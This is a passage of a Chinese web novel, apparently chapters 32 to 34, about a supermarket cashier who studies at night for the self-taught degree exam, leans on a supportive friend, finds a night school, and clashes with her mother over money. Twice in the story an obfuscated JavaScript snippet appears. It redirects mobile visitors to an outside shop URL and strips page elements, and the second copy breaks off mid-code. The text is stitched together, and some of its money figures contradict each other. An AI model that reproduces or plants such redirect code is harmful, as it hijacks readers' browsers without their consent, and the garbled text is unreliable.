“这道病句题怎么又错了……”晚星对着习题册上的错题轻轻蹙眉,语气里藏着一丝懊恼,指尖在解析上反复摩挲,嘴里低声默念着语法要点,试图将知识点刻进脑子里。白天在超市收银间隙仓促背诵的内容还没完全消化,深夜的脑子又因疲惫有些发沉,一道看似简单的病句题,她反复琢磨了十分钟,才勉强理清主谓宾的搭配逻辑,摸清错误根源。她抬手揉了揉酸涩发胀的眼睛,滴上几滴廉价的眼药水,稍作缓解后,又立刻低下头,继续和这本厚厚的习题册“死磕”。 不知不觉间,手机屏幕上的时间已跳到凌晨三点。晚星轻轻合上习题册,小心翼翼地塞回枕头下,连呼吸都放轻,生怕一点动静就吵醒熟睡的工友。躺在床上,她闭着眼睛,脑海里却还在复盘刚才的错题,那些晦涩的语法概念、拗口的文言句式在脑海里盘旋缠绕,许久才随着疲惫感渐渐沉入梦乡。可安稳的睡眠太过短暂,清晨六点的闹钟准时响起,刺耳的铃声划破寂静,她猛地睁开眼,只觉得头痛欲裂,眼皮重得像灌了铅,挣扎了好几次才勉强撑着身子坐起来,浑身都透着挥之不去的疲惫。 这天轮到晚星上早班,早上八点她准时到岗,站在收银台后,脸上的疲惫根本藏不住,眼神有些涣散,连扫码的动作都带着几分迟钝,时不时就会走神。上午十点多,超市迎来客流小高峰,排队结账的顾客渐渐多了起来,她强撑着精神加快动作,手指却偶尔不听使唤,扫码速度明显慢于平时。排在队伍最前面的阿姨耐不住性子,忍不住催促道:“小姑娘,麻烦快点行不行?我还赶时间去接孩子呢。” “抱歉阿姨,实在不好意思,我马上就好。”晚星连忙道歉,用力眨了眨眼,又抬手揉了揉太阳穴,试图让自己清醒些。可长期睡眠不足的影响早已渗透到身体的每一处,越是刻意想集中注意力,脑子就越混沌,眼前的条形码都变得模糊不清,重影晃动。一旁的李娟将这一切尽收眼底,嘴角勾起一抹讥讽的笑,故意凑过来压低声音说道:“哟,这是昨晚又熬夜啃那些没用的书了?我早就说过,瞎折腾半天也成不了气候,还耽误正经工作,等会儿被组长抓到批评,可别怨别人没提醒你。” 晚星没有理会李娟的嘲讽,深吸一口气,强迫自己将注意力拉回工作上。她心里清楚,李娟一直等着看她笑话,越是这种时候,就越不能出错,不能让对方得逞。可疲惫如同潮水般汹涌而来,几乎要将她淹没,让她难以抗拒。中午十二点,午休时间到了,其他同事纷纷涌向食堂吃饭,晚星却找了个僻静的楼梯间角落,掏出藏在兜里的知识点小纸条,靠着冰冷的墙壁快速背诵。 寒风从楼梯间的门缝里钻进来,吹得她浑身瑟瑟发抖,手里的小纸条都被冻得发脆,握在掌心有些发滑。她一边不停地搓着冻得通红的双手,一边快速默念着古代汉语的虚词用法,嘴里呼出的哈气在冷空气中凝成白雾,转瞬即逝。为了节省时间,也为了省钱,她早上从宿舍带了两个冷馒头,就着一口随身携带的凉水匆匆吞咽,几口下肚垫了垫肚子,便又立刻拿起纸条,争分夺秒地记忆。对晚星而言,这些碎片化的时间无比珍贵,每多记一个知识点,就离目标更近一步。 下午两点多,超市迎来新一轮客流高峰,收银台前排起了长队。晚星站在收银台后,机械地重复着扫码、收款、找零的动作,脸上没了多余的表情,只剩麻木的疲惫。长时间的站立让她的双腿又酸又胀,像是灌了铅一般沉重,加上睡眠不足,脑袋也阵阵发晕,眼前的景象时不时就会模糊。轮到一位顾客结账时,她扫码时不慎手滑,将一瓶酱油重复扫了两遍,直到顾客皱着眉提醒“小姑娘,这瓶酱油扫了两次了”,才慌忙反应过来,手忙脚乱地取消重扫。 “你这小姑娘做事也太不专心了,这么简单的活都干不好。”顾客的语气里满是不满,晚星连忙弯腰鞠躬道歉:“对不起对不起,是我失误了,实在抱歉,耽误您时间了。”好在这位顾客脾气不算太差,吐槽了两句便拿着东西离开了。可这一幕,恰好被前来巡岗的刘组长看得正着。刘组长脸色一沉,快步走到晚星身边,语气严肃地说道:“晚星,你今天状态怎么这么差?刚才差点就收错钱了,要是真出了差错,这个责任谁来承担?超市的规矩你不清楚吗?” 晚星的头埋得更低,脸颊滚烫,愧疚感涌上心头,声音带着几分颤抖:“对不起刘组长,是我不好,是我太不小心了,我下次一定集中精神,绝对不会再出错了。” “下次?我希望没有下次。”刘组长皱着眉,语气里满是失望,“你平时工作挺认真踏实的,业绩也不错,怎么最近总是走神出错?是不是家里有什么事,还是身体不舒服?要是实在撑不住,就请假休息两天,把状态调整好再来上班,别硬撑着耽误工作。” “我没事,谢谢组长关心,我一定尽快调整好状态,绝不影响工作。”晚星连忙回应,语气坚定。她不敢告诉组长自己是因为熬夜备考才状态不佳,生怕组长觉得她不务正业,甚至因此丢掉这份工作——这份工作是她目前唯一的收入来源,也是支撑她备考的基础。刘组长看了她一眼,目光落在她眼底明显的红血丝上,心里已然猜到了几分,却没有点破,只是又叮嘱了一句“好好干活,注意集中精神”,便转身继续巡岗。 刘组长刚走,李娟就迫不及待地凑过来,语气里的嘲讽更浓了:“可以啊晚星,都被组长当众点名批评了,这下该死心了吧?我看你还是别折腾那自考了,老老实实守着这份收银工作不好吗?非要把自己搞得人不人鬼不鬼的,最后工作学习两头空,得不偿失。” 晚星攥紧了手里的扫码枪,指节泛白,指甲几乎嵌进掌心,心里满是委屈与不甘,却依旧选择沉默以对。她知道,此刻任何辩解都毫无意义,唯有做好本职工作、坚持完成学习计划,用实际行动证明自己,才能堵住悠悠众口。接下来的时间里,她强打精神,每一次扫码、每一次收款、每一次找零都格外谨慎,眼神紧紧盯着屏幕,再也不敢有丝毫走神,哪怕疲惫感如影随形。 下午四点,早班终于结束。晚星拖着疲惫的身躯走出超市,双腿发软,连走路都有些打晃,浑身的力气像是被抽干了一般。刚走到公交站台,就看到张琪提着一个保温桶,在寒风中搓着手等待。张琪一眼就看到了她,目光落在她苍白的脸色和浓重的黑眼圈上,连忙快步走过去,语气里满是心疼:“晚星,你怎么把自己熬成这样?脸色差成这样,是不是又熬夜到凌晨了?” 晚星勉强挤出一个笑容,声音沙哑得厉害:“还好,就熬到三点多。今天差点出了差错,被刘组长批评了,都怪我状态太差,没能集中精神。”说这话时,她的语气里带着几分自责。 “三点多还叫还好?”张琪皱紧眉头,把保温桶强行塞到她手里,语气里满是担忧与嗔怪,“快趁热喝点小米粥,我特意早起给你熬的,养胃又暖身。你这样长期熬夜根本不行,身体迟早会垮掉的,到时候工作和学习都受影响,那才真的得不偿失。” 晚星接过保温桶,指尖触到温热的桶身,一股暖流顺着指尖蔓延至全身,瞬间驱散了些许寒意与疲惫。她打开保温桶,浓郁的小米香扑面而来,舀起一勺温热的粥送进嘴里,软糯香甜的滋味在舌尖散开,心里也泛起阵阵暖意。“谢谢你,张琪。”她抬头看着张琪,眼眶微微发红,连日来的疲惫与委屈在这一刻有了宣泄的出口。 “跟我还客气这个?”张琪坐在她身边,轻轻拍了拍她的肩膀,语气温柔却坚定,“我知道你迫切想考上自考,想改变现在的生活,可你也不能拿身体开玩笑啊。你看看你眼底的红血丝,都快连成一片了,再这样熬下去,迟早要出大问题。” 晚星低下头,搅动着碗里的粥,声音带着难以言说的无奈:“我也不想熬夜,可我真的没时间啊。超市两班倒,只有晚上才有完整的时间学习,我只能压缩睡眠时间。我怕我稍微松懈一点,知识点就记不住,进度就跟不上,之前的努力就都白费了,我真的想快点实现目标。” “我懂你的心情,我也知道你着急,可学习从来都不是一蹴而就的事,得循序渐进。”张琪语气温柔,却带着不容置喙的坚定,“你这样每天只睡五个小时,白天工作没精神,容易出错挨批评,学习效率也高不到哪里去,反而得不偿失。要不你调整一下计划,晚上学到两点就准时睡觉,早上早起半小时背书,这样既能保证一定的学习时间,也能留足休息时间,状态好了,学习和工作才能兼顾。身体是革命的本钱,你得先照顾好自己,才能坚持到最后。” 晚星沉默了片刻,看着碗里温热的粥,又想起张琪担忧的眼神,缓缓点了点头:“好,我听你的,以后调整一下作息,不熬那么晚了。”她知道张琪是真心为她好,也明白长期熬夜的危害,只是心里始终绷着一根弦,生怕浪费一点时间,耽误备考进度。 回到宿舍后,张琪不由分说地接过晚星手里的东西,主动帮她收拾床铺、打扫宿舍卫生,还把她换下来的脏衣服拿去卫生间清洗。“你快去床上躺着休息会儿,养养精神,这些活我来干就好。”张琪推着晚星坐到床边,语气不容拒绝,眼里满是心疼。 晚星乖乖坐在床边,靠在冰冷的墙壁上闭目养神,看着张琪忙碌的身影,心里满是感动。她想起了这一路来张琪的陪伴与支持——从她下定决心报考夜校,到如今全力备考自考,张琪始终站在她身边,不遗余力地为她加油鼓劲,为她分担生活的琐碎与烦恼。在这座陌生的城市里,这份真挚的闺蜜情,是她最珍贵的温暖,也是她支撑下去的底气之一。 “张琪,有你真好。”晚星轻声说道,声音里满是真挚,眼底也泛起淡淡的暖意。 张琪回头冲她笑了笑,眉眼弯弯,语气真诚:“咱们是最好的朋友,我不帮你帮谁?等你考上自考本科,找到更好的工作,到时候可别忘了带我一起变好。我也不想一辈子在流水线上干体力活,我想跟你一样,靠自己的努力改变命运,活得更有价值。” 晚星眼睛一亮,瞬间坐直了身子,眼里满是光亮:“好!我们一起努力!等我考上自考,我帮你查资料、划重点,咱们一起学习,一起进步,一起离开这里,找一份更适合自己的工作,在青南市稳稳站稳脚跟,活出自己想要的样子。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233601|197633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “嗯!一起努力!”张琪笑着点头,两个女孩的目光交汇,眼里都盛满了对未来的期许与憧憬。疲惫与困难或许还会相伴左右,现实的枷锁或许暂时无法挣脱,但只要彼此陪伴、互相扶持,就没有跨不过去的坎,没有实现不了的梦想。 休息了一个多小时后,晚星感觉精神好了些许,疲惫感也消散了大半。她从枕头下拿出习题册,按照调整后的计划开始学习,这一次,她不再盲目追求学习时长,而是专注于提升效率,争取在有限的时间里吃透更多知识点。张琪坐在一旁,安静地陪着她,偶尔晚星遇到不懂的问题,两人就凑在一起查资料、反复琢磨,宿舍里只剩下轻轻的翻书声和低声的讨论声,温暖而静谧,与深夜的寒冷形成了鲜明的对比。 接下来的日子里,晚星严格按照调整后的作息执行,晚上学到两点准时关灯睡觉,早上六点半起床背书。虽然每天的睡眠时间依旧不算充足,但相比之前熬到三点,白天工作时的状态好了不少,眼神不再涣散,动作也恢复了往日的利落,再也没有出现走神失误的情况。刘组长看到她的变化,也渐渐放下了心,偶尔巡岗时还会鼓励她几句,叮嘱她注意劳逸结合。 可即便调整了作息,边工边学的压力依旧不小,现实的困境并没有完全缓解。上晚班时,晚上十二点下班,回到宿舍洗漱完毕就快一点了,扣除必要的休息时间,每天只能挤出一个小时学习,知识点根本来不及充分消化;上早班时,下午四点下班,虽然有两个多小时的学习时间,但长时间的站立让她浑身酸痛,疲惫不堪,学习效率也受到了不小的影响。 为了最大化利用时间、提升学习效率,晚星把知识点拆解得更细,一笔一划抄在小小的纸条上,贴在宿舍的墙壁上、镜子上,甚至偷偷贴在超市收银台下方的柜子上。只要一有空隙,无论是收银间隙、排队打饭时,还是乘坐公交车的途中,她都会立刻掏出纸条或手机,争分夺秒地背诵记忆,把所有能利用的碎片化时间都榨干用尽,不肯浪费一分一秒。 李娟看着晚星依旧埋首学习的劲头,依旧会时不时说几句嘲讽的话,却再也不敢故意找她麻烦、耽误她学习或工作。她能清晰地感觉到晚星身上那股不服输的韧劲,那种无论遇到多大困难都绝不放弃的执着,让她心里隐隐生出几分佩服,只是碍于面子,始终不肯承认,只能用嘲讽掩饰自己的复杂心情。 有天晚上,晚星上完晚班回到宿舍,刚走到宿舍楼下,就突然感觉头晕目眩,眼前一黑,身体不受控制地往前踉跄了几步,还好及时扶住了旁边的墙壁,才没有摔倒。张琪刚好下楼接她,看到她脸色苍白、摇摇欲坠的样子,吓得连忙冲过去扶住她,语气里满是惊慌:“晚星!你怎么样?是不是哪里不舒服?要不要去医院看看?” 晚星靠在墙壁上,缓了好一会儿才勉强稳住身形,喘着气虚弱地说道:“没事,张琪,我没事,就是有点低血糖,歇一会儿就好了。”这些天为了节省开支,她吃得很少,每餐都只是勉强垫肚子,加上长期睡眠不足、过度劳累,身体早已不堪重负,发出了严重的预警信号。 张琪扶着她慢慢走回宿舍,连忙从自己的储物柜里翻出红糖,冲了一杯温热的红糖水递给她,又拿出藏起来的饼干和面包:“快吃点东西,补充点能量。你就是太亏待自己了,为了省钱连饭都舍不得吃,再这样下去,身体怎么可能撑得住?以后不管再省,饭也得吃好,这是底线。”说这话时,张琪的语气里带着几分嗔怪,更多的却是心疼。 晚星接过红糖水,喝了一口,温热的液体顺着喉咙滑下,浑身都暖和了些,头晕的症状也缓解了不少。她一边小口吃着饼干,一边看着张琪担忧的眼神,心里满是愧疚,声音轻轻的:“对不起,张琪,又让你担心了。我以后会好好吃饭的,不会再让你担心了。” “跟我说什么对不起,我只希望你能好好照顾自己。”张琪坐在她身边,轻轻摸了摸她的头,语气温柔而坚定,“学习很重要,梦想也很重要,但你的身体更重要。咱们慢慢来,不着急,哪怕进度慢一点也没关系,只要坚持下去,总有一天能实现目标的。” 晚星点了点头,眼眶微微发红,心里满是温暖与坚定。她知道,自己从来都不是一个人在战斗,有张琪这样的闺蜜始终陪伴在身边,再大的困难都能克服。吃完东西后,她靠在张琪肩上,安静地休息了一会儿,感觉精神好了许多,身体的疲惫也消散了大半。 夜深了,宿舍里渐渐恢复了安静,工友们的鼾声再次响起。晚星躺在床上,望着天花板,心里默默盘算着接下来的学习计划。她清楚地知道,边工边学的日子还会持续很久,未来还会遇到更多的困难与挑战,身体的疲惫、学习的压力、生活的窘迫,都可能成为阻碍她前进的绊脚石。但她不再害怕,不再迷茫,因为她有坚定的目标,有温暖的陪伴,更有不屈不挠的韧劲。 她轻轻摸了摸枕头下的习题册,指尖触到书页的温度,心里满是笃定。流水线般枯燥疲惫的工作、晦涩难懂的习题册,是她当下生活的全部,也是她逆袭路上的必经之路。只要她坚持下去,在工作与学习之间找到平衡,在疲惫与迷茫中坚守初心,一步一个脚印稳步前行,就一定能慢慢靠近自己的目标,迎来属于自己的光明未来。 窗外的寒风依旧呼啸,吹动着窗户发出轻微的声响,可晚星的心里却一片温暖。她闭上眼睛,渐渐进入了梦乡,梦里,她拿着自考本科的毕业证,站在属于自己的岗位上,笑容灿烂而耀眼。那是她的梦想,是她咬牙坚持的动力,是她在流水线与习题册的夹缝中,奋力追逐的光,是支撑她走过所有艰难岁月的希望。 33. 第 33 章 夜色渐深,出租屋的小台灯泛着昏黄的光,将晚星的影子拉得很长。她伏在书桌前,指尖捏着笔,眉头拧成一个深深的结,目光死死盯着习题册上的古代汉语翻译题,纸上画满了密密麻麻的批注,却依旧没能理清那句“夫祸患常积于忽微,而智勇多困于所溺”的深层语法逻辑。窗外的寒风敲打着玻璃,发出细碎的声响,衬得房间里愈发安静,也愈发凸显出她心底的烦躁与焦虑。 调整作息后的这些日子,晚星的精神状态虽有好转,可自学的难题却愈发尖锐地摆在面前。碎片化背诵的知识点像一盘散沙,无法串联成体系,遇到稍微复杂的语法、晦涩的文言句式,便只能对着解析反复琢磨,往往耗费两三个小时,也只懂个一知半解。尤其是《古代汉语》,象形字、会意字的辨析的、虚词的灵活用法,仅凭书本上的文字解释,根本难以吃透,错题本上的红叉越来越多,压得她喘不过气。 “又是这样……”晚星烦躁地将笔扔在桌上,双手撑着额头,指尖深深按进太阳穴。这些天,她把所有碎片化时间都用来背诵,可一到刷题就露了怯,那些背熟的知识点仿佛被施了魔法,在复杂的题目里变得面目全非。她忍不住自我怀疑:难道仅凭自己这样瞎琢磨,真的能考上自考吗?会不会不管怎么努力,都只是徒劳? 桌上的手机亮起,是张琪发来的微信,问她学习进度如何。晚星盯着屏幕,敲了又删,最终只回了一句“还好,就是有些知识点弄不懂”。她不想让张琪担心,更不想说出自己的挫败感——那个在张琪面前坚定自信的晚星,此刻却被几本习题册击得摇摇欲坠。 第二天上早班,晚星的情绪依旧低落,收银时虽没再出错,却总是走神,眼神里满是疲惫与焦虑。中午午休,她没像往常一样去楼梯间背书,而是找了个僻静的仓库角落,靠着冰冷的货架坐下,掏出错题本反复翻看,越看心里越慌。 “小姑娘,怎么一个人在这儿发呆?”一个温和的声音在身后响起,晚星抬头,看到是超市仓库的老工友陈叔。陈叔五十多岁,性子温和,平时话不多,却总爱帮衬年轻人,在超市里人缘很好。他手里拿着一个搪瓷缸,里面装着热水,递到晚星面前:“喝点热水暖暖身子,天这么冷,别在这儿冻着。” 晚星连忙接过搪瓷缸,指尖触到温热的缸身,心里泛起一丝暖意。“谢谢陈叔。”她低声道谢,目光又落回错题本上,忍不住轻轻叹了口气。 陈叔瞥见她手里的错题本,又看了看她愁眉苦脸的样子,笑着问道:“这是在准备考试呢?看你最近总抱着书,是想考大学还是考证书啊?” 晚星犹豫了一下,还是如实说道:“陈叔,我在准备自考汉语言文学专业,可这些知识点太难了,我自己学总弄不懂,越学越着急。”说这话时,她的声音里带着几分委屈与无助,连日来的焦虑终于找到了宣泄的出口。 陈叔闻言,点了点头,坐在她身边,语气温和地说:“自考是不容易,尤其是汉语言这种专业,需要啃很多厚书,还得理解透,光靠死记硬背可不行。我家侄女前些年也考自考,一开始也是自己瞎琢磨,越学越迷茫,后来报了个成人夜校,有老师讲课答疑,进度快了不少,一年多就通过了好几门。” “夜校?”晚星眼睛一亮,猛地抬起头,眼里满是急切,“陈叔,您说的夜校在哪里?真的有自考辅导课吗?学费贵不贵啊?”她的心瞬间提了起来,像是在黑暗中看到了一丝光亮,迫切地想要抓住这可能的希望。 陈叔被她急切的样子逗笑了,耐心解释道:“就在青南市郊区的红星成人夜校,离咱们这儿不算太远,坐公交大概四十分钟。那所夜校开了很多年了,专门针对自考、成考的人开辅导课,老师都是以前中学的退休教师,讲得细,还愿意耐心答疑。学费也不贵,按学期收,一门课也就几百块,比外面的培训机构便宜多了。” 晚星的心跳不由得加快,指尖紧紧攥着搪瓷缸,手心沁出了细汗。有老师答疑、系统讲解知识点,这正是她目前最需要的。可转念一想,她又皱起了眉:“陈叔,那课程时间是怎么安排的?我在超市两班倒,怕时间凑不上。还有学费,我现在每个月寄完家里,剩下的钱不多,不知道能不能承担。” “这你放心,夜校的课都是晚上七点到九点,周末也有补讲课,专门照顾你们这种白天要上班的人。”陈叔拍了拍她的肩膀,“学费方面,你可以按课程报,不用一次性报完所有科目,先报你觉得最难的几门,慢慢攒钱慢慢学。我侄女当时就是这样,一边上班一边上夜校,虽然累点,但效果确实好。” 听完陈叔的话,晚星的心里豁然开朗,压在心头的巨石仿佛被挪开了大半。她反复默念着“红星成人夜校”,眼里重新燃起了坚定的光芒。“谢谢您,陈叔!您真是帮了我大忙了!”她激动地说道,声音都有些颤抖,这份突如其来的讯息,让她重新看到了自考成功的希望。 “举手之劳罢了。”陈叔笑着站起身,“年轻人有上进心是好事,只要肯坚持,总有办法克服困难。你要是想去咨询,我可以给你个地址,就在郊区红星路那边,很好找。” 晚星连忙点头,掏出手机记下陈叔报的地址,又反复确认了几遍,生怕记错。午休结束的铃声响起,她抱着错题本和搪瓷缸,向陈叔道谢后快步走出仓库,脚步都比之前轻快了许多。心里的焦虑渐渐消散,取而代之的是满满的期待与规划。 下午上班时,晚星的状态好了不少,眼神里没了之前的迷茫,多了几分笃定。李娟看到她这副样子,又忍不住凑过来嘲讽:“哟,这是终于想通,不折腾那自考了?看你心情倒挺好。” 晚星没有像往常一样沉默,而是淡淡看了她一眼,语气平静地说:“我没放弃,只是找到了更好的学习方法。”她不想和李娟过多纠缠,此刻她满脑子都是夜校的事,只想快点下班,去夜校实地咨询一下。 李娟愣了一下,没想到晚星会反驳她,随即撇了撇嘴,不屑地说道:“再好的方法又能怎么样?还不是白费力气。”说完便转身走开,心里却隐隐有些好奇,晚星到底找到了什么办法,竟能如此笃定。 下午四点,早班结束。晚星来不及回宿舍休息,便按照陈叔给的地址,匆匆赶往公交站。为了去夜校咨询,她特意绕了远路,换乘了两趟公交,一路颠簸了四十多分钟,才抵达郊区的红星路。 这里没有市区的繁华,街道两旁多是老旧的居民楼和小店,路灯有些昏暗,却透着一股烟火气。红星成人夜校坐落在街道尽头,是一栋三层的老旧教学楼,外墙有些斑驳,门口挂着一块褪色的木牌,上面写着“红星成人夜校”几个大字,虽然简陋,却让晚星心生敬畏。 此时正是傍晚六点多,离上课时间还有不到一个小时,已有不少和晚星一样的年轻人陆续走进教学楼,他们大多背着书包,眼神里带着和晚星一样的期待与坚定。晚星深吸一口气,整理了一下衣服,快步走进教学楼。 一楼大厅的左侧有一个咨询台,一位头发花白的老奶奶正坐在那里整理资料。晚星走上前,语气带着几分紧张:“奶奶您好,我想咨询一下自考汉语言文学专业的辅导课,请问这里还招收学员吗?” 老奶奶抬起头,看到晚星,脸上露出温和的笑容,点了点头:“招收的招收的,姑娘快坐。我们这汉语言文学的辅导课是热门课程,这学期刚开了一个新班,还有名额。你是想报这学期的课吗?” 晚星连忙坐下,心里的石头落了一半,连忙问道:“是的奶奶,我想报。请问报名需要什么条件吗?学费是怎么收的?课程时间又是怎么安排的?”她一次性抛出了所有疑问,眼神里满是急切。 老奶奶耐心地一一解答:“报名没什么严格条件,只要你有高中毕业证或者同等学历就行,带上身份证和复印件过来登记就行。学费是按课程收,每门课三百块一学期,一学期十六节课,每周两节课,都是晚上七点到九点,周二和周四晚上有课,周末上午有答疑课,老师会专门解答大家的问题。” 晚星认真地听着,一边在心里盘算:周二和周四晚上,她刚好大多是早班,下午四点下班,赶过来上课完全来得及;周末的答疑课也能参加,刚好可以把一周积攒的问题都问清楚。学费一门课三百块,她可以先报《古代汉语》和《现代汉语》两门最难的,攒两个月的钱就能凑够,完全在承受范围之内。 “奶奶,那请问这两门课是哪位老师教啊?老师讲得细吗?我基础不太好,怕跟不上。”晚星又问道,语气里带着几分担忧。 “教汉语言的是王老师和李老师,都是退休的中学语文老师,教了几十年书了,经验特别丰富,讲得也细,会从基础知识点开始讲,还会结合自考真题讲解,不用担心跟不上。”老奶奶笑着说道,“很多基础差的学员来这儿学,都能跟上进度,不少人还一次性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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张琪闻言,眼睛一亮,连忙问道:“真的吗?太好了!这可解决了你的大难题了!是怎么找到的啊?课程时间能凑上吗?” 晚星笑着把事情的经过一五一十地告诉了张琪,从陈叔的提醒,到去夜校咨询的细节,一一细说。“课程时间刚好能凑上,周二、周四晚上上课,我大多是早班,赶过去完全来得及。周末还有答疑课,正好可以问老师不懂的问题。”晚星的语气里满是喜悦,眼里闪烁着光芒。 “太好啦!这下你就不用再自己瞎琢磨了,有老师指导,肯定能进步更快。”张琪由衷地为她高兴,握着她的手说道,“学费够吗?不够我先借你点,咱们一起想办法。” 晚星摇摇头,笑着说:“够的,我先报两门最难的,攒了两个月的备用金,刚好够缴费。以后我再省着点花,争取多报几门,早点考完。” “那你可得注意身体,现在又要上班,又要上夜校,还要自学刷题,肯定更累了。”张琪心疼地说道,“以后我多帮你分担点宿舍的活,你也别熬太晚,尽量在上课前把不懂的问题整理出来,上课的时候一次性问老师,提高效率。” “嗯!我知道了。”晚星点点头,心里满是感动。有张琪的陪伴与支持,有夜校的系统辅导,她再也不是一个人在黑暗中摸索。她拿出习题册,指着上面的错题说:“你看,这些之前弄不懂的知识点,等上了夜校,我就能问老师了,再也不用对着解析发呆了。” 张琪凑过去,看着错题本上的批注,笑着说:“是啊,以后有老师帮忙,这些难题都不算事。咱们一起努力,你先考上自考,然后带我一起去夜校,咱们一起学习,一起变好。” “好!一起努力!”晚星笑着点头,两个女孩的目光交汇,眼里都满是对未来的期许。夜色渐深,出租屋的灯光下,晚星翻开习题册,开始整理一周来积攒的问题,准备明天报名后,带着这些问题去上夜校的第一堂课。 她知道,上了夜校之后,日子会变得更加忙碌,要在工作、夜校、自学之间找到平衡,会比之前更累。但她不再害怕,因为她找到了正确的方向,有了系统学习的机会,有了温暖的陪伴。那些曾经晦涩难懂的知识点,那些让她焦虑迷茫的日子,都将在夜校的课堂上慢慢化解。 窗外的寒风依旧呼啸,可晚星的心里却一片明亮。红星夜校的出现,像一束光照进了她自考的漫漫长路,让她在迷茫中找到了方向,在困境中看到了希望。她知道,从明天报名的那一刻起,她的自考之路将进入一个新的阶段,系统学习的加持,会让她离梦想越来越近,终将迎来属于自己的柳暗花明。 34. 第 34 章 清晨的阳光透过出租屋的窗户,在书桌上投下细碎的光斑。晚星指尖摩挲着那张皱巴巴的夜校招生简章,眼神里满是期待。今天是超市发工资的日子,她算了又算,第二个月工资扣除社保和房租后,刚好够支付《古代汉语》和《现代汉语》两门课的学费,剩下的钱省着点花,再加上之前攒的一点备用金,足以支撑到下次发工资。 为了确保万无一失,她甚至在前一天晚上重新整理了钱包,把之前攒的零钱都换成了整钞,小心翼翼地放在枕头下。上夜校的念头像一颗发了芽的种子,在她心里扎得越来越深,一想到很快就能坐在课堂上,听老师系统讲解那些晦涩的知识点,她就忍不住心跳加速。 上午上班时,晚星的心思总忍不住飘向工资条。收银间隙,她会悄悄瞥一眼办公室的方向,盼着财务能早点把工资发下来。李娟看出了她的心神不宁,又凑过来阴阳怪气:“怎么,又在想你的自考大业?我劝你还是别白费功夫了,就算报了什么班,也未必能考上,倒是浪费钱。” 晚星没理会她的嘲讽,只是淡淡收回目光,继续扫码收款。此刻她的心里只有工资和夜校,根本懒得和李娟争辩。张琪中午特意过来找她,递过来一个热乎乎的肉包:“快吃,我看你早上没吃饭。是不是在等工资?” 晚星接过肉包,点了点头,眼里藏不住笑意:“嗯,等工资发了,我下午就去夜校报名缴费。这下终于能系统学了,再也不用对着解析死磕了。” “太好了!”张琪由衷地为她高兴,“等你报完名,咱们就把学习计划再细化一下,周二、周四上完课,我陪你一起复盘知识点。就是你以后要更辛苦了,可得多注意身体。” 晚星咬了一口肉包,心里暖暖的:“我知道,有你陪着我,再辛苦也值得。等我学会了,就帮你划重点,以后咱们一起去上夜校。”两人相视一笑,对未来的期许在心底悄然蔓延。 下午两点多,财务终于把工资打到了卡上。晚星收到银行短信的那一刻,指尖都有些颤抖,连忙拿出手机查询余额——三千二百一十六块,和她预想的差不多。她悄悄盘算着,留六百块作为这个月的生活费,六千块用来交学费,剩下的钱存起来备用。 她恨不得立刻下班去夜校报名,可还有一个多小时才到下班时间,只能按捺住心里的急切,专心工作。可没等她平复好心情,口袋里的手机突然急促地响了起来,来电显示是“妈”。 晚星心里咯噔一下,有种不好的预感。她快步走到楼梯间,按下接听键,语气恭敬:“妈,怎么了?” 电话那头传来母亲王秀莲略显急躁的声音,语气带着不容置疑的强硬:“晚星,工资发了吧?赶紧给家里打两千块回来,你弟弟博文要报补习班,数学和英语都得报,一个学期下来要八千多,家里实在周转不开。” 晚星握着手机的手一紧,连忙说道:“妈,两千块太多了。我这个月工资刚发,扣除房租和生活费,根本剩不下这么多。而且我最近报了个自考辅导夜校,学费还得六千块,我正打算下午去交呢。” “夜校?什么夜校?”王秀莲的声音瞬间拔高,满是斥责,“你放着好好的班不上,瞎报什么夜校?浪费那个钱干什么?你一个女孩子家,读那么多书有什么用?迟早还不是要嫁人?” “妈,这不是浪费钱,这是自考辅导课,我考上本科就能找更好的工作,以后也能多帮衬家里。”晚星急忙辩解,声音带着几分恳求,“您能不能少要一点?我最多只能寄一千块回去,剩下的钱我得交学费。” “一千块?你打发要饭的呢?”王秀莲的语气愈发严厉,甚至带着一丝刻薄,“林博文是你亲弟弟,他的学业关系到他一辈子的前途,比你的什么自考重要多了!我告诉你晚星,今天这两千块你必须打回来,不然博文的补习班就报不成了,他以后考不上好大学,你负得起责任吗?” 晚星的眼眶瞬间红了,心里又委屈又难受:“妈,我不是不想帮家里,可我真的需要这笔学费。我自学了这么久,好多知识点都弄不懂,只有报了夜校才有希望考上。您就不能体谅我一下吗?” “体谅你?谁体谅我们啊?”王秀莲的声音里带着哭腔,却依旧强硬,“你爸身体不好,不能干重活,家里所有的开销都靠你一个人撑着。你倒好,只顾着自己的前途,不管家里的死活,真是自私自利!我怎么养了你这么个白眼狼?” “我没有自私自利……”晚星的声音哽咽了,泪水不受控制地滑落,“我每个月都按时寄钱回家,从来没有断过。这次是真的有急用,您就不能通融一下吗?” “通融不了!”王秀莲的语气斩钉截铁,“我给你两个选择,要么今天把两千块打回来,要么你就别认我们这个家,我们也没你这个女儿!”说完,电话那头传来“啪”的一声,被强行挂断了。 晚星握着手机,站在冰冷的楼梯间里,泪水顺着脸颊不停滑落,心脏像是被一只无形的手紧紧攥住,又疼又闷。她靠着墙壁缓缓滑坐在地上,双手抱住膝盖,肩膀不停颤抖。一边是生养她的家人,是她从小就被灌输要守护的弟弟;一边是她坚持了这么久的梦想,是她唯一能改变命运的机会。 她想起了母亲那句“断绝关系”的威胁,心里一阵发慌。她从小就听话懂事,凡事都以家里为先,可这一次,她真的不想放弃夜校。可如果真的不寄钱回去,母亲会不会真的不认她?弟弟的补习班也真的会泡汤。 